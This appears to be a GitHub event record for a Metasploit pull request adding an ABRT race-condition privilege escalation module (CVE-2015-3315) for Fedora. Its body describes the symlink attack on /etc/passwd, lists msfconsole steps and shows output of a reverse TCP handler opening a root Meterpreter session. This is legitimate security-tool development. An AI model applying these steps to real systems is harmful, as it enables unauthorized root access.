{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9422","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9422/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9422/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9422/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/9422","id":288934574,"number":9422,"title":"Add ABRT raceabrt Privilege Escalation module","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"closed","locked":false,"assignee":{"login":"h00die","id":752491,"avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"assignees":[{"login":"h00die","id":752491,"avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false}],"milestone":null,"comments":22,"created_at":"2018-01-16T14:53:02Z","updated_at":"2018-02-11T17:00:39Z","closed_at":"2018-02-11T16:59:42Z","author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9422","html_url":"https://github.com/rapid7/metasploit-framework/pull/9422","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9422.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9422.patch"},"body":"Add ABRT raceabrt Privilege Escalation module.\r\n\r\n        This module attempts to gain root privileges on Fedora systems with\r\n        a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\r\n        as the crash handler.\r\n\r\n        A race condition allows local users to change ownership of arbitrary\r\n        files (CVE-2015-3315). This module uses a symlink attack on\r\n        '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,\r\n        then adds a new user with UID=0 GID=0 to gain root privileges.\r\n        Winning the race could take a few minutes.\r\n\r\n        This module has been tested successfully on ABRT packaged version\r\n        2.2.1-1.fc19 on Fedora 19 x86_64 and 2.2.2-2.fc20 on Fedora 20 x86_64.\r\n        Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.\r\n\r\n\r\n## Verification\r\n\r\n- [x] Start `msfconsole`\r\n- [x] Get a session\r\n- [x] `use use exploit/linux/local/abrt_raceabrt_priv_esc`\r\n- [x] `set SESSION <ID>`\r\n- [x] `run`\r\n- [x] **Verify** you get a *root* session\r\n\r\n\r\n\r\n## Example Output\r\n\r\n```\r\nmsf > use exploit/linux/local/abrt_raceabrt_priv_esc \r\nmsf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1\r\nsession => 1\r\nmsf exploit(linux/local/abrt_raceabrt_priv_esc) > run\r\n\r\n[!] SESSION may not be compatible with this module.\r\n[*] Started reverse TCP handler on 172.16.191.244:4444 \r\n[*] Writing '/tmp/.goXyr' (64240 bytes) ...\r\n[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...\r\n[+] Success! '/etc/passwd' is writable\r\n[*] Adding MKaocvEj user to /etc/passwd ...\r\n[*] Writing '/tmp/.YcrXQ7SwC' (207 bytes) ...\r\n[*] Sending stage (857352 bytes) to 172.16.191.137\r\n[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38280) at 2018-01-16 09:16:18 -0500\r\n[+] Deleted /tmp/.goXyr\r\n[+] Deleted /tmp/.YcrXQ7SwC\r\n\r\nmeterpreter > getuid\r\nServer username: uid=0, gid=0, euid=0, egid=0\r\nmeterpreter > sysinfo\r\nComputer     : localhost.localdomain\r\nOS           : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)\r\nArchitecture : x64\r\nBuildTuple   : i486-linux-musl\r\nMeterpreter  : x86/linux\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/364767289","html_url":"https://github.com/rapid7/metasploit-framework/pull/9422#issuecomment-364767289","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9422","id":364767289,"user":{"login":"h00die","id":752491,"avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"created_at":"2018-02-11T17:00:39Z","updated_at":"2018-02-11T17:00:39Z","author_association":"CONTRIBUTOR","body":"# Release Notes\r\nThis PR adds a local priv escalation against Fedora due to a vulnerable ABRT crash reporter"}}
{"actor":{"display_login":"h00die"}}